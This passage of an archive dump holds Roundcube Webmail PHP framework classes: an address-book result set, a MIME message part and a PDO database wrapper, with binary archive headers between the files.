        $str = mb_strtoupper($str);
        $str = htmlspecialchars($str, ENT_COMPAT, $this->charset);

        return $str;
    }
}
PK
h�\,�T���*program/lib/Roundcube/rcube_result_set.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Class representing an address directory result set                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Roundcube result set class
 *
 * Representing an address directory result set.
 * Implements Iterator and can thus be used in foreach() loops.
 *
 * @package    Framework
 * @subpackage Addressbook
 */
class rcube_result_set implements Iterator, ArrayAccess
{
    /**
     * @var int The number of total records. Note that when only a subset of records is requested,
     *          this number may be higher than the number of data records in this result set.
     */
    public $count = 0;

    /**
     * @var int When a subset of the total records is requested, $first gives the index into the total record
     *          set from that the data records in this result set start. This is normally a multiple of the
     *          user-configured page size.
     */
    public $first = 0;

    /**
     * @var bool True if the results are from an addressbook that does not support listing all records but
     *           requires the search function to be used.
     */
    public $searchonly = false;

    /**
     * @var array The data records of the result set. May be a subset of the total records, e.g. for one page.
     */
    public $records = [];

    private $current = 0;

    function __construct($count = 0, $first = 0)
    {
        $this->count = (int) $count;
        $this->first = (int) $first;
    }

    public function add($rec)
    {
        $this->records[] = $rec;
    }

    public function iterate()
    {
        $current = $this->current();

        $this->current++;

        return $current;
    }

    public function first()
    {
        $this->current = 0;
        return $this->current();
    }

    public function seek($i): void
    {
        $this->current = $i;
    }

    /*** Implement PHP ArrayAccess interface ***/

    public function offsetSet($offset, $value): void
    {
        if (is_null($offset)) {
            $offset = count($this->records);
            $this->records[] = $value;
        }
        else {
            $this->records[$offset] = $value;
        }
    }

    public function offsetExists($offset): bool
    {
        return isset($this->records[$offset]);
    }

    public function offsetUnset($offset): void
    {
        unset($this->records[$offset]);
    }

    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        return $this->records[$offset];
    }

    /***  PHP 5 Iterator interface  ***/

    public function rewind(): void
    {
        $this->current = 0;
    }

    #[ReturnTypeWillChange]
    public function current()
    {
        return $this->records[$this->current] ?? null;
    }

    #[ReturnTypeWillChange]
    public function key()
    {
        return $this->current;
    }

    #[ReturnTypeWillChange]
    public function next()
    {
        return $this->iterate();
    }

    public function valid(): bool
    {
        return isset($this->records[$this->current]);
    }
}
PK
h�\x�/&&,program/lib/Roundcube/rcube_message_part.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Class representing a message part                                   |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Class representing a message part
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_message_part
{
    /**
     * Part MIME identifier
     *
     * @var string
     */
    public $mime_id = '';

    /**
     * Content main type
     *
     * @var string
     */
    public $ctype_primary = 'text';

    /**
     * Content subtype
     *
     * @var string
     */
    public $ctype_secondary = 'plain';

    /**
     * Full content type
     *
     * @var string
     */
    public $mimetype = 'text/plain';

    /**
     * Real content type (for fake parts)
     *
     * @var string|null
     */
    public $realtype;

    /**
     * Real content type of a message/rfc822 part
     *
     * @var string
     */
    public $real_mimetype = '';

    /**
     * Part size in bytes
     *
     * @var int
     */
    public $size = 0;

    /**
     * Part body
     *
     * @var string|null
     */
    public $body;

    /**
     * Part headers
     *
     * @var array
     */
    public $headers = [];

    /**
     * Sub-Parts
     *
     * @var array
     */
    public $parts = [];

    /**
     * Part Content-Id
     *
     * @var string|null
     */
    public $content_id;

    /**
     * Part Content-Location
     *
     * @var string|null
     */
    public $content_location;

    public $type;
    public $replaces     = [];
    public $disposition  = '';
    public $filename     = '';
    public $encoding     = '8bit';
    public $charset      = '';
    public $d_parameters = [];
    public $ctype_parameters = [];
    public $body_modified = false;


    /**
     * Clone handler.
     */
    function __clone()
    {
        if (isset($this->parts)) {
            foreach ($this->parts as $idx => $part) {
                if (is_object($part)) {
                    $this->parts[$idx] = clone $part;
                }
            }
        }
    }
}
PK
h�\�KS����"program/lib/Roundcube/rcube_db.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Database wrapper class that implements PHP PDO functions            |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Database independent query interface.
 * This is a wrapper for the PHP PDO.
 *
 * @package   Framework
 * @subpackage Database
 */
class rcube_db
{
    /** @var string Database implementation (mysql, postgres, etc.) */
    public $db_provider;

    protected $db_dsnw;               // DSN for write operations
    protected $db_dsnr;               // DSN for read operations
    protected $db_dsnw_array;         // DSN for write operations
    protected $db_dsnr_array;         // DSN for read operations
    protected $db_connected = false;  // Already connected ?
    protected $db_mode;               // Connection mode
    protected $db_pconn = false;      // Persistent connections flag
    protected $dbh;                   // Connection handle
    protected $dbhs = [];
    protected $table_connections = [];

    protected $db_error     = false;
    protected $db_error_msg = '';
    protected $conn_failure = false;
    protected $db_index     = 0;
    protected $last_result;
    protected $tables;
    protected $variables;

    protected $options = [
        // column/table quotes
        'identifier_start' => '"',
        'identifier_end'   => '"',
        // date/time input format
        'datetime_format'  => 'Y-m-d H:i:s',
        'table_prefix'     => '',
    ];

    const DEBUG_LINE_LENGTH = 4096;
    const DEFAULT_QUOTE     = '`';

    const TYPE_SQL    = 'sql';
    const TYPE_INT    = 'integer';
    const TYPE_BOOL   = 'bool';
    const TYPE_STRING = 'string';


    /**
     * Factory, returns driver-specific instance of the class
     *
     * @param string $db_dsnw DSN for read/write operations
     * @param string $db_dsnr Optional DSN for read only operations
     * @param bool   $pconn   Enables persistent connections
     *
     * @return rcube_db Object instance
     */
    public static function factory($db_dsnw, $db_dsnr = '', $pconn = false)
    {
        $db_dsnw    = (string) $db_dsnw;
        $driver     = strtolower(substr($db_dsnw, 0, strpos($db_dsnw, ':')));
        $driver_map = [
            'sqlite2' => 'sqlite',
            'sybase'  => 'mssql',
            'dblib'   => 'mssql',
            'mysqli'  => 'mysql',
            'oci'     => 'oracle',
            'oci8'    => 'oracle',
        ];

        $driver = $driver_map[$driver] ?? $driver;
        $class  = "rcube_db_$driver";

        if (!$driver || !class_exists($class)) {
            rcube::raise_error([
                    'code' => 600, 'type' => 'db',
                    'line' => __LINE__, 'file' => __FILE__,
                    'message' => "Configuration error. Unsupported database driver: $driver"
                ],
                true, true
            );
        }

        return new $class($db_dsnw, $db_dsnr, $pconn);
    }

    /**
     * Object constructor
     *
     * @param string $db_dsnw DSN for read/write operations
     * @param string $db_dsnr Optional DSN for read only operations
     * @param bool   $pconn   Enables persistent connections
     */
    public function __construct($db_dsnw, $db_dsnr = '', $pconn = false)
    {
        if (empty($db_dsnr)) {
            $db_dsnr = $db_dsnw;
        }

        $this->db_dsnw  = $db_dsnw;
        $this->db_dsnr  = $db_dsnr;
        $this->db_pconn = $pconn;

        $this->db_dsnw_array = self::parse_dsn($db_dsnw);
        $this->db_dsnr_array = self::parse_dsn($db_dsnr);

        $config = rcube::get_instance()->config;

        $this->options['table_prefix']  = $config->get('db_prefix');
        $this->options['dsnw_noread']   = $config->get('db_dsnw_noread', false);
        $this->options['table_dsn_map'] = array_map([$this, 'table_name'], $config->get('db_table_dsn', []));
    }

    /**
     * Connect to specific database
     *
     * @param array  $dsn  DSN for DB connections
     * @param string $mode Connection mode (r|w)
     */
    protected function dsn_connect($dsn, $mode)
    {
        $this->db_error     = false;
        $this->db_error_msg = null;

        // return existing handle
        if (!empty($this->dbhs[$mode])) {
            $this->dbh     = $this->dbhs[$mode];
            $this->db_mode = $mode;

            return $this->dbh;
        }

        // connect to database
        if ($dbh = $this->conn_create($dsn)) {
            $this->dbhs[$mode]  = $dbh;
            $this->db_mode      = $mode;
            $this->db_connected = true;
        }
    }

    /**
     * Create PDO connection
     */
    protected function conn_create($dsn)
    {
        // Get database specific connection options
        $dsn_string  = $this->dsn_string($dsn);
        $dsn_options = $this->dsn_options($dsn);

        // Connect
        try {
            // with this check we skip fatal error on PDO object creation
            if (!class_exists('PDO', false)) {
                throw new Exception('PDO extension not loaded. See http://php.net/manual/en/intro.pdo.php');
            }

            $this->conn_prepare($dsn);

            $username = $dsn['username'] ?? null;
            $password = $dsn['password'] ?? null;

            $this->dbh = new PDO($dsn_string, $username, $password, $dsn_options);

            // don't throw exceptions or warnings
            $this->dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);

            // Return numbers as strings consistently for all supported PHP versions
            // Since PHP 8.1 native data types are used by default
            if (defined('PDO::ATTR_STRINGIFY_FETCHES')) {
                $this->dbh->setAttribute(PDO::ATTR_STRINGIFY_FETCHES, 1);
            }

            $this->conn_configure($dsn, $this->dbh);
        }
        catch (Exception $e) {
            $this->db_error     = true;
            $this->db_error_msg = $e->getMessage();

            rcube::raise_error([
                    'code' => 500, 'type' => 'db',
                    'line' => __LINE__, 'file' => __FILE__,
                    'message' => $this->db_error_msg
                ],
                true, false
            );

            return null;
        }

        return $this->dbh;
    }

    /**
     * Driver-specific preparation of database connection
     *
     * @param array $dsn DSN for DB connections
     */
    protected function conn_prepare($dsn)
    {
    }

    /**
     * Driver-specific configuration of database connection
     *
     * @param array $dsn DSN for DB connections
     * @param PDO   $dbh Connection handler
     */
    protected function conn_configure($dsn, $dbh)
    {
    }

    /**
     * Connect to appropriate database depending on the operation
     *
     * @param string $mode  Connection mode (r|w)
     * @param bool   $force Enforce using the given mode
     */
    public function db_connect($mode, $force = false)
    {
        // previous connection failed, don't attempt to connect again
        if ($this->conn_failure) {
            return;
        }

        // no replication
        if ($this->db_dsnw == $this->db_dsnr) {
            $mode = 'w';
        }

        // Already connected
        if ($this->db_connected) {
            // connected to db with the same or "higher" mode (if allowed)
            if ($this->db_mode == $mode || $this->db_mode == 'w' && !$force && empty($this->options['dsnw_noread'])) {
                return;
            }
        }

        $dsn = ($mode == 'r') ? $this->db_dsnr_array : $this->db_dsnw_array;
        $this->dsn_connect($dsn, $mode);

        // use write-master when read-only fails
        if (!$this->db_connected && $mode == 'r' && $this->is_replicated()) {
            $this->dsn_connect($this->db_dsnw_array, 'w');
        }

        $this->conn_failure = !$this->db_connected;
    }

    /**
     * Analyze the given SQL statement and select the appropriate connection to use
     */
    protected function dsn_select($query)
    {
        // no replication
        if ($this->db_dsnw == $this->db_dsnr) {
            return 'w';
        }

        // Read or write ?
        $mode = preg_match('/^(select|show|set)/i', $query) ? 'r' : 'w';

        $start = '[' . $this->options['identifier_start'] . self::DEFAULT_QUOTE . ']';
        $end   = '[' . $this->options['identifier_end']   . self::DEFAULT_QUOTE . ']';
        $regex = '/(?:^|\s)(from|update|into|join)\s+'.$start.'?([a-z0-9._]+)'.$end.'?\s+/i';

        // find tables involved in this query
        if (preg_match_all($regex, $query, $matches, PREG_SET_ORDER)) {
            foreach ($matches as $m) {
                $table = $m[2];

                // always use direct mapping
                if (!empty($this->options['table_dsn_map'][$table])) {
                    $mode = $this->options['table_dsn_map'][$table];
                    break;  // primary table rules
                }
                else if ($mode == 'r') {
                    // connected to db with the same or "higher" mode for this table
                    if (isset($this->table_connections[$table])) {
                        $db_mode = $this->table_connections[$table];
                        if ($db_mode == 'w' && empty($this->options['dsnw_noread'])) {
                            $mode = $db_mode;
                        }
                    }
                }
            }

            // remember mode chosen (for primary table)
            $table = $matches[0][2];
            $this->table_connections[$table] = $mode;
        }

        return $mode;
    }

    /**
     * Activate/deactivate debug mode
     *
     * @param bool $dbg True if SQL queries should be logged
     */
    public function set_debug($dbg = true)
    {
        $this->options['debug_mode'] = $dbg;
    }

    /**
     * Writes debug information/query to 'sql' log file
     *
     * @param string $query SQL query
     */
    protected function debug($query)
    {
        if (!empty($this->options['debug_mode'])) {
            if (($len = strlen($query)) > self::DEBUG_LINE_LENGTH) {
                $diff  = $len - self::DEBUG_LINE_LENGTH;
                $query = substr($query, 0, self::DEBUG_LINE_LENGTH)
                    . "... [truncated $diff bytes]";
            }

            rcube::write_log('sql', '[' . (++$this->db_index) . '] ' . $query . ';');
        }
    }

    /**
     * Getter for an information about the last error.
     *
     * @return ?array [SQLSTATE error code, driver specific error code, driver specific error message]
     */
    public function error_info()
    {
        return $this->dbh ? $this->dbh->errorInfo() : null;
    }

    /**
     * Getter for error state
     *
     * @param mixed $result Optional query result
     *
     * @return string Error message
     */
    public function is_error($result = null)
    {
        if ($result !== null) {
            return $result === false ? $this->db_error_msg : null;
        }

        return $this->db_error ? $this->db_error_msg : null;
    }

    /**
     * Connection state checker
     *
     * @return bool True if in connected state
     */
    public function is_connected()
    {
        return !is_object($this->dbh) ? false : $this->db_connected;
    }

    /**
     * Is database replication configured?
     *
     * @return bool Returns true if dsnw != dsnr
     */
    public function is_replicated()
    {
      return !empty($this->db_dsnr) && $this->db_dsnw != $this->db_dsnr;
    }

    /**
     * Get database runtime variables
     *
     * @param string $varname Variable name
     * @param mixed  $default Default value if variable is not set
     *
     * @return mixed Variable value or default
     */
    public function get_variable($varname, $default = null)
    {
        // to be implemented by driver class
        return rcube::get_instance()->config->get('db_' . $varname, $default);
    }

    /**
     * Execute a SQL query
     *
     * @param string $query     SQL query to execute
     * @param mixed  ...$params Query parameter values
     *
     * @return PDOStatement|false  Query handle or False on error
     */
    public function query($query, ...$params)
    {
        // Support one argument of type array, instead of n arguments
        if (count($params) == 1 && is_array($params[0])) {
            $params = $params[0];
        }

        return $this->_query($query, 0, 0, $params);
    }

    /**
     * Execute a SQL query with limits
     *
     * @param string $query     SQL query to execute
     * @param int    $offset    Offset for LIMIT statement
     * @param int    $limit     Number of rows for LIMIT statement
     * @param mixed  ...$params Query parameter values
     *
     * @return PDOStatement|false Query handle or False on error
     */
    public function limitquery($query, $offset, $limit, ...$params)
    {
        return $this->_query($query, $offset, $limit, $params);
    }

    /**
     * Execute a SQL query with limits
     *
     * @param string $query  SQL query to execute
     * @param int    $offset Offset for LIMIT statement
     * @param int    $limit  Number of rows for LIMIT statement
     * @param array  $params Values to be inserted in query
     *
     * @return PDOStatement|false Query handle or False on error
     */
    protected function _query($query, $offset, $limit, $params)
    {
        $query = ltrim($query);

        $this->db_connect($this->dsn_select($query), true);

        // check connection before proceeding
        if (!$this->is_connected()) {
            return $this->last_result = false;
        }

        if ($limit || $offset) {
            $query = $this->set_limit($query, $limit, $offset);
        }

        // replace self::DEFAULT_QUOTE with driver-specific quoting
        $query = $this->query_parse($query);

        // Because in Roundcube we mostly use queries that are
        // executed only once, we will not use prepared queries
        $pos = 0;
        $idx = 0;

        if (count($params)) {
            while ($pos = strpos($query, '?', $pos)) {
                if (isset($query[$pos+1]) && $query[$pos+1] == '?') {  // skip escaped '?'
                    $pos += 2;
                }
                else {
                    $val = $this->quote($params[$idx++]);
                    unset($params[$idx-1]);
                    $query = substr_replace($query, $val, $pos, 1);
                    $pos += strlen($val);
                }
            }
        }

        $query = rtrim($query, " \t\n\r\0\x0B;");

        // replace escaped '?' and quotes back to normal, see self::quote()
        $query = str_replace(
            ['??', self::DEFAULT_QUOTE.self::DEFAULT_QUOTE],
            ['?', self::DEFAULT_QUOTE],
            $query
        );

        // log query
        $this->debug($query);

        return $this->query_execute($query);
    }

    /**
     * Query execution
     */
    protected function query_execute($query)
    {
        // destroy reference to previous result, required for SQLite driver (#1488874)
        $this->last_result  = null;
        $this->db_error_msg = null;

        // send query
        $result = $this->dbh->query($query);

        if ($result === false) {
            $result = $this->handle_error($query);
        }

        return $this->last_result = $result;
    }

    /**
     * Parse SQL query and replace identifier quoting
     *
     * @param string $query SQL query
     *
     * @return string SQL query
     */
    protected function query_parse($query)
    {
        $start = $this->options['identifier_start'];
        $end   = $this->options['identifier_end'];
        $quote = self::DEFAULT_QUOTE;

        if ($start == $quote) {
            return $query;
        }

        $pos = 0;
        $in  = false;

        while ($pos = strpos($query, $quote, $pos)) {
            if (isset($query[$pos+1]) && $query[$pos+1] == $quote) {  // skip escaped quote
                $pos += 2;
            }
            else {
                if ($in) {
                    $q  = $end;
                    $in = false;
                }
                else {
                    $q  = $start;
                    $in = true;
                }

                $query = substr_replace($query, $q, $pos, 1);
                $pos++;
            }
        }

        return $query;
    }

    /**
     * Helper method to handle DB errors.
     * This by default logs the error but could be overridden by a driver implementation
     *
     * @param string $query Query that triggered the error
     *
     * @return mixed Result to be stored and returned
     */
    protected function handle_error($query)
    {
        $error = $this->dbh->errorInfo();

        if (empty($this->options['ignore_key_errors']) || !in_array($error[0], ['23000', '23505'])) {
            $this->db_error = true;
            $this->db_error_msg = sprintf('[%s] %s', $error[1], $error[2]);

            if (empty($this->options['ignore_errors'])) {
                rcube::raise_error([
                        'code' => 500, 'type' => 'db', 'line' => __LINE__, 'file' => __FILE__,
                        'message' => $this->db_error_msg . " (SQL Query: $query)"
                    ], true, false);
            }
        }

        return false;
    }

    /**
     * INSERT ... ON DUPLICATE KEY UPDATE (or equivalent).
     * When not supported by the engine we do UPDATE and INSERT.
     *
     * @param string $table   Table name (should be already passed via table_name() with quoting)
     * @param array  $keys    Hash array (column => value) of the unique constraint
     * @param array  $columns List of columns to update
     * @param array  $values  List of values to update (number of elements
     *                        should be the same as in $columns)
     *
     * @return PDOStatement|bool Query handle or False on error
     * @todo Multi-insert support
     */
    public function insert_or_update($table, $keys, $columns, $values)
    {
        $columns = array_map(function($i) { return "`$i`"; }, $columns);
        $sets    = array_map(function($i) { return "$i = ?"; }, $columns);
        $where   = $keys;

        array_walk($where, function(&$val, $key) {
            $val = $this->quote_identifier($key) . " = " . $this->quote($val);
        });

        // First try UPDATE
        $result = $this->query("UPDATE $table SET " . implode(", ", $sets)
            . " WHERE " . implode(" AND ", $where), $values);

        // if UPDATE fails use INSERT
        if ($result && !$this->affected_rows($result)) {
            $cols  = implode(', ', array_map(function($i) { return "`$i`"; }, array_keys($keys)));
            $cols .= ', ' . implode(', ', $columns);
            $vals  = implode(', ', array_map(function($i) { return $this->quote($i); }, $keys));
            $vals .= ', ' . rtrim(str_repeat('?, ', count($columns)), ', ');

            $result = $this->query("INSERT INTO $table ($cols) VALUES ($vals)", $values);
        }

        return $result;
    }

    /**
     * Get number of affected rows for the last query
     *
     * @param mixed $result Optional query handle
     *
     * @return int Number of (matching) rows
     */
    public function affected_rows($result = null)
    {
        if ($result || ($result === null && ($result = $this->last_result))) {
            if ($result !== true) {
                return $result->rowCount();
            }
        }

        return 0;
    }

    /**
     * Get number of rows for a SQL query
     * If no query handle is specified, the last query will be taken as reference
     *
     * @param mixed $result Optional query handle
     *
     * @return mixed Number of rows or false on failure
     * @deprecated This method shows very poor performance and should be avoided.
     */
    public function num_rows($result = null)
    {
        if (($result || ($result === null && ($result = $this->last_result))) && $result !== true) {
            // repeat query with SELECT COUNT(*) ...
            if (preg_match('/^SELECT\s+(?:ALL\s+|DISTINCT\s+)?(?:.*?)\s+FROM\s+(.*)$/ims', $result->queryString, $m)) {
                $query = $this->dbh->query('SELECT COUNT(*) FROM ' . $m[1], PDO::FETCH_NUM);
                return $query ? intval($query->fetchColumn(0)) : false;
            }
            else {
                $num = count($result->fetchAll());
                $result->execute();  // re-execute query because there's no seek(0)
                return $num;
            }
        }

        return false;
    }

    /**
     * Get last inserted record ID
     *
     * @param string $table Table name (to find the incremented sequence)
     *
     * @return mixed ID or false on failure
     */
    public function insert_id($table = '')
    {
        if (!$this->db_connected || $this->db_mode == 'r') {
            return false;
        }

        if ($table) {
            // resolve table name
            $table = $this->table_name($table);
        }

        return $this->dbh->lastInsertId($table);
    }

    /**
     * Get an associative array for one row
     * If no query handle is specified, the last query will be taken as reference
     *
     * @param mixed $result Optional query handle
     *
     * @return array|false Array with col values or false on failure
     */
    public function fetch_assoc($result = null)
    {
        return $this->_fetch_row($result, PDO::FETCH_ASSOC);
    }

    /**
     * Get an index array for one row
     * If no query handle is specified, the last query will be taken as reference
     *
     * @param mixed $result Optional query handle
     *
     * @return array|false Array with col values or false on failure
     */
    public function fetch_array($result = null)
    {
        return $this->_fetch_row($result, PDO::FETCH_NUM);
    }

    /**
     * Get col values for a result row
     *
     * @param mixed $result Optional query handle
     * @param int   $mode   Fetch mode identifier
     *
     * @return array|false Array with col values or false on failure
     */
    protected function _fetch_row($result, $mode)
    {
        if ($result || ($result === null && ($result = $this->last_result))) {
            if ($result !== true) {
                return $result->fetch($mode);
            }
        }

        return false;
    }

    /**
     * Adds LIMIT,OFFSET clauses to the query
     *
     * @param string $query  SQL query
     * @param int    $limit  Number of rows
     * @param int    $offset Offset
     *
     * @return string SQL query
     */
    protected function set_limit($query, $limit = 0, $offset = 0)
    {
        if ($limit) {
            $query .= ' LIMIT ' . intval($limit);
        }

        if ($offset) {
            $query .= ' OFFSET ' . intval($offset);
        }

        return $query;
    }

    /**
     * Returns list of tables in a database
     *
     * @return array List of all tables of the current database
     */
    public function list_tables()
    {
        // get tables if not cached
        if ($this->tables === null) {
            $q = $this->query("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES"
                . " WHERE TABLE_TYPE = 'BASE TABLE'"
                . " ORDER BY TABLE_NAME"
            );

            $this->tables = $q ? $q->fetchAll(PDO::FETCH_COLUMN, 0) : [];
        }

        return $this->tables;
    }

    /**
     * Returns list of columns in database table
     *
     * @param string $table Table name
     *
     * @return array List of table cols
     */
    public function list_cols($table)
    {
        $q = $this->query('SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = ?', $table);

        if ($q) {
            return $q->fetchAll(PDO::FETCH_COLUMN, 0);
        }

        return [];
    }

    /**
     * Start transaction
     *
     * @return bool True on success, False on failure
     */
    public function startTransaction()
    {
        $this->db_connect('w', true);

        // check connection before proceeding
        if (!$this->is_connected()) {
            return $this->last_result = false;
        }

        $this->debug('BEGIN TRANSACTION');

        return $this->last_result = $this->dbh->beginTransaction();
    }

    /**
     * Commit transaction
     *
     * @return bool True on success, False on failure
     */
    public function endTransaction()
    {
        $this->db_connect('w', true);

        // check connection before proceeding
        if (!$this->is_connected()) {
            return $this->last_result = false;
        }

        $this->debug('COMMIT TRANSACTION');

        return $this->last_result = $this->dbh->commit();
    }

    /**
     * Rollback transaction
     *
     * @return bool True on success, False on failure
     */
    public function rollbackTransaction()
    {
        $this->db_connect('w', true);

        // check connection before proceeding
        if (!$this->is_connected()) {
            return $this->last_result = false;
        }

        $this->debug('ROLLBACK TRANSACTION');

        return $this->last_result = $this->dbh->rollBack();
    }

    /**
     * Release resources related to the last query result.
     * When we know we don't need to access the last query result we can destroy it
     * and release memory. Useful especially if the query returned big chunk of data.
     */
    public function reset()
    {
        $this->last_result = null;
    }

    /**
     * Terminate database connection.
     */
    public function closeConnection()
    {
        $this->db_connected = false;
        $this->db_index     = 0;

        // release statement and connection resources
        $this->last_result  = null;
        $this->dbh          = null;
        $this->dbhs         = [];
    }

    /**
     * Formats input so it can be safely used in a query
     *
     * @param mixed  $input Value to quote
     * @param string $type  Type of data (integer, bool, ident)
     *
     * @return string Quoted/converted string for use in query
     */
    public function quote($input, $type = null)
    {
        if ($input instanceof rcube_db_param) {
            return (string) $input;
        }

        // handle int directly for better performance
        if ($type == 'integer' || $type == 'int') {
            return intval($input);
        }

        if (is_null($input)) {
            return 'NULL';
        }

        if ($input instanceof DateTime) {
            return $this->quote($input->format($this->options['datetime_format']));
        }

        if ($type == 'ident') {
            return $this->quote_identifier($input);
        }

        // create DB handle if not available
        if (!$this->dbh) {
            $this->db_connect('r');
        }

        if ($this->dbh) {
            $map = [
                'bool'    => PDO::PARAM_BOOL,
                'integer' => PDO::PARAM_INT,
            ];

            $type = $map[$type] ?? PDO::PARAM_STR;

            return strtr($this->dbh->quote($input, $type),
                // escape ? and `
                ['?' => '??', self::DEFAULT_QUOTE => self::DEFAULT_QUOTE.self::DEFAULT_QUOTE]
            );
        }

        return 'NULL';
    }

    /**
     * Escapes a string so it can be safely used in a query
     *
     * @param string $str A string to escape
     *
     * @return string Escaped string for use in a query
     */
    public function escape($str)
    {
        if (is_null($str)) {
            return 'NULL';
        }

        return substr($this->quote($str), 1, -1);
    }

    /**
     * Quotes a string so it can be safely used as a table or column name
     *
     * @param string $str Value to quote
     *
     * @return string Quoted string for use in query
     * @deprecated    Replaced by rcube_db::quote_identifier
     * @see           rcube_db::quote_identifier
     */
    public function quoteIdentifier($str)
    {
        return $this->quote_identifier($str);
    }

    /**
     * Escapes a string so it can be safely used in a query
     *
     * @param string $str A string to escape
     *
     * @return string Escaped string for use in a query
     * @deprecated    Replaced by rcube_db::escape
     * @see           rcube_db::escape
     */
    public function escapeSimple($str)
    {
        return $this->escape($str);
    }

    /**
     * Quotes a string so it can be safely used as a table or column name
     *
     * @param string $str Value to quote
     *
     * @return string Quoted string for use in query
     */
    public function quote_identifier($str)
    {
        $start = $this->options['identifier_start'];
        $end   = $this->options['identifier_end'];
        $name  = [];

        foreach (explode('.', $str) as $elem) {
            $elem = str_replace([$start, $end], '', $elem);
            $name[] = $start . $elem . $end;
        }

        return implode('.', $name);
    }

    /**
     * Create query parameter object
     *
     * @param mixed  $value Parameter value
     * @param string $type  Parameter type (one of rcube_db::TYPE_* constants)
     */
    public function param($value, $type = null)
    {
        return new rcube_db_param($this, $value, $type);
    }

    /**
     * Return SQL function for current time and date
     *
     * @param int $interval Optional interval (in seconds) to add/subtract
     *
     * @return string SQL function to use in query
     */
    public function now($interval = 0)
    {
        $result = 'now()';

        if ($interval) {
            $result .= ' ' . ($interval > 0 ? '+' : '-') . ' INTERVAL '
                . ($interval > 0 ? intval($interval) : intval($interval) * -1)
                . ' SECOND';
        }

        return $result;
    }

    /**
     * Return list of elements for use with SQL's IN clause
     *
     * @param array  $arr  Input array
     * @param string $type Type of data (integer, bool, ident)
     *
     * @return string Comma-separated list of quoted values for use in query
     */
    public function array2list($arr, $type = null)
    {
        if (!is_array($arr)) {
            return $this->quote($arr, $type);
        }

        foreach ($arr as $idx => $item) {
            $arr[$idx] = $this->quote($item, $type);
        }

        return implode(',', $arr);
    }

    /**
     * Return SQL statement to convert a field value into a unix timestamp
     *
     * This method is deprecated and should not be used anymore due to limitations
     * of timestamp functions in Mysql (year 2038 problem)
     *
     * @param string $field Field name
     *
     * @return string SQL statement to use in query
     * @deprecated
     */
    public function unixtimestamp($field)
    {
        return "UNIX_TIMESTAMP($field)";
    }

    /**
     * Return SQL statement to convert from a unix timestamp
     *
     * @param int $timestamp Unix timestamp
     *
     * @return string Date string in db-specific format
     * @deprecated
     */
    public function fromunixtime($timestamp)
    {
        return $this->quote(date($this->options['datetime_format'], $timestamp));
    }

    /**
     * Return SQL statement for case insensitive LIKE
     *
     * @param string $column Field name
     * @param string $value  Search value
     *
     * @return string SQL statement to use in query
     */
    public function ilike($column, $value)
    {
        return $this->quote_identifier($column) . ' LIKE ' . $this->quote($value);
    }

    /**
     * Abstract SQL statement for value concatenation
     *
     * @return string ...$args Values to concatenate
     */
    public function concat(...$args)
    {
        if (count($args) == 1 && is_array($args[0])) {
            $args = $args[0];
        }

        return '(' . implode(' || ', $args) . ')';
    }

    /**
     * Encodes non-UTF-8 characters in string/array/object (recursive)
     *
     * @param mixed $input      Data to fix
     * @param bool  $serialized Enable serialization
     *
     * @return mixed Properly UTF-8 encoded data
     */
    public static function encode($input, $serialized = false)
    {
        // use Base64 encoding to workaround issues with invalid
        // or null characters in serialized string (#1489142)
        if ($serialized) {
            return base64_encode(serialize($input));
        }

        if (is_object($input)) {
            foreach (get_object_vars($input) as $idx => $value) {
                $input->$idx = self::encode($value);
            }

            return $input;
        }
        else if (is_array($input)) {
            foreach ($input as $idx => $value) {
                $input[$idx] = self::encode($value);
            }

            return $input;
        }

        return utf8_encode($input);
    }

    /**
     * Decodes encoded UTF-8 string/object/array (recursive)
     *
     * @param mixed $input      Input data
     * @param bool  $serialized Enable serialization
     *
     * @return mixed Decoded data
     */
    public static function decode($input, $serialized = false)
    {
        // use Base64 encoding to workaround issues with invalid
        // or null characters in serialized string (#1489142)
        if ($serialized) {
            // Keep backward compatibility where base64 wasn't used
            if (strpos(substr($input, 0, 16), ':') !== false) {
                return self::decode(@unserialize($input));
            }

            return @unserialize(base64_decode($input));
        }

        if (is_object($input)) {
            foreach (get_object_vars($input) as $idx => $value) {
                $input->$idx = self::decode($value);
            }

            return $input;
        }
        else if (is_array($input)) {
            foreach ($input as $idx => $value) {
                $input[$idx] = self::decode($value);
            }

            return $input;
        }

        return utf8_decode($input);
    }

    /**
     * Return correct name for a specific database table
     *
     * @param string $table  Table name
     * @param bool   $quoted Quote table identifier
     *
     * @return string Translated table name
     */
    public function table_name($table, $quoted = false)
    {
        // let plugins alter the table name (#1489837)
        $plugin = rcube::get_instance()->plugins->exec_hook('db_table_name', ['table' => $table]);
        $table = $plugin['table'];

        // add prefix to the table name if configured
        if (($prefix = $this->options['table_prefix']) && strpos($table, $prefix) !== 0) {
